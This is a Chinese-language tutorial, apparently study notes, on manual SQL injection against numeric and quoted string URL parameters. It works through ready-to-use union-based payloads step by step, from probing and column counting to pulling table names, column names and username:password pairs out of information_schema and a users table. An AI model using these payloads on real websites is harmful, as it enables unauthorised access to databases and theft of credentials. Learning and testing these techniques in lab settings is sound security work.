?可以传递参数

<>sql数值型注入

<>1.判断注入点

​ 数值型注入: ?id=1 and 1=1 , ?id=1 and 1=2

​ 语句:select * from 表名 where id=1 and 1/2

<>2.猜字段数(二分法)

​ ?id=1 order by x

<>3.确定显示位

​ ?id=-1 union select 1,2,3,4 --+ //联合查询第1 2 3 4列,空格–+的作用是注释后面的内容

​ 进行联合查询判断显示位时,在1的前面加-号或者改为0让前面的select语句查询为空错误,从而采用后面的语句进行查询

​ 联合查询要构造假的,1前面一定要加-号,或者是?id=1 and
1=2构造前面的查询语句错误,从而使用后面的select语句。因为有两条select语句,要用-号/把1改为0把前面的select语句注释掉(字符型、数字型均可)

<>4.通过显示位收集信息

​ ?id=-1’ union select 1,2,3 --+ 页面显示2,2就是显示位,则可以在数字2的位置去构造攻击语句

​ 例如:?id=-1 union select 1,database(),user()# 在显示位2的地方插入database(),页面回显出当前数据名

<>5.数据收集

​ 通过联合查询进行数据库数据查询
database() 数据库名 group_concat(列名) 会把这一列中所有的内容在一行中以逗号隔开
group_concat(str1,str2,……) 连接一个组的所有字符串,并以逗号分割每一条数据,显示数据

查询当前数据库所有表,并且拼接在一行显示,多个字段的,例如3 不是显示位,2
是显示位这时候使用from查询要的是空格后放在最后面的字段,接着记得加注释,例如# group_concat(table_name),3 from
information_schema.tables where table_schema=database() --+
查询当前数据库users表中所有字段,并且拼接在一行显示 group_concat(column_name) from
information_schema.columns where table_name='users' --+
查询当前数据库users中表username和password字段的信息,并且拼接在一行显示 union select
1,group_concat(username,0x3a,password),3 from users--+
group_concat(table_name)要放在显示位,如果是多个字段,from查询要空格后放在最后面的字段,不然会报错!
<>sql字符型注入

​ 字符型和数字型最大的一个区别在于,数字型不需要单引号或其他特殊符号来闭合,而字符型需要通过特殊符号来进行闭合,例如:单引号

<>1.检测方式

如这是一条后台语句 $sql=“SELECT * FROM users WHERE id=‘1’ LIMIT 0,1”

id被单引号包裹住,那么,?id=‘1’ 1就是$id的里面的值,需要注入时可以这样
?id='1 然后在id的引号里构造攻击语句' ?id=-1' union select 1,2,3 --+
在1后面加单引号使其语句闭合,中间使用联合查询,再将后面的语句用--+注释掉
例如:在url地址栏输入 ?id=1’ 这时候1后面的单引号将原语句的一堆单引号隔开了,变成了 ?id=‘1’’
,多出了一个单引号,破坏了原本的sql语句结构,并且这条语句被带进数据库进行查询,由于数据库和前端页面是交互的,所以前端页面会出现异常或者报错。但如果我们在1‘后面加–+注释掉它后面的单引号,是这样的
?id=‘1’–+’,让它与后台语句一致,就不会报错了
正常的url ?id=1 1左右是有单引号包裹住的,我们在url栏输入原本语句的单引号不会显示 若输入 ?id=1' --+ 后台则显示 ?id='1'
--+' 所以我们可以 ?id=1' 这里写攻击语句 --+' 本来id='1'是这样 后台 id='1 在里边插入攻击语句'--+
如果我们输入1’ 后台显示 id=‘1’’ ,这样形成不了闭合会报错,如果报错,证明这条语句成功被带进数据库查询,则存在字符型注入

解决方法:输入id=1’ --+ ,空格–+把后面的单引号注释掉了,这样就会形成闭合

<>2.闭合方法

1.在原来的基础上再继续输入一个’

输入1’’ 形成’1’’’
前端url:?id=-1' union select 1,2,3' 后台语句:$sql="SELECT * FROM users WHERE id='-1'
union select 1,2,3'' LIMIT 0,1"
2.使用#来注释后面的单引号

例如:$id=‘1’#’ 形成闭合
前端url:?id=-1' union select 1,2,3# 后台语句:$sql="SELECT * FROM users WHERE id='-1'
union select 1,2,3#(这里已经注释掉了单引号) LIMIT 0,1"
3.使用 -空格 或者 --+。在页面输入框注入,不能用空格-+ 要把后面的+也换成空格;在url当中,需要使用+来代替-后面的空格

字符型注入:先探测语句的闭合方式,单引号、双引号等;接着注入语句后面要带注释,注释掉预设计好的sql语句后面的字符及其他不需要的语句来达成注入语句的闭合,不然会一直报错

<>3.sql字符型注入利用方式
前端url:?id=1 后台:$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
在1后面加单引号、括号,使其语句闭合,然后加and 1=2让前面的select查询语句逻辑错误,使用后面的select
?id=1') and 1=2 union select 1,database(),user() --+

技术
下载桌面版
GitHub
百度网盘(提取码:draw)
Gitee
云服务器优惠
阿里云优惠券
腾讯云优惠券
华为云优惠券
站点信息
问题反馈
邮箱:[email protected]
QQ群:766591547
关注微信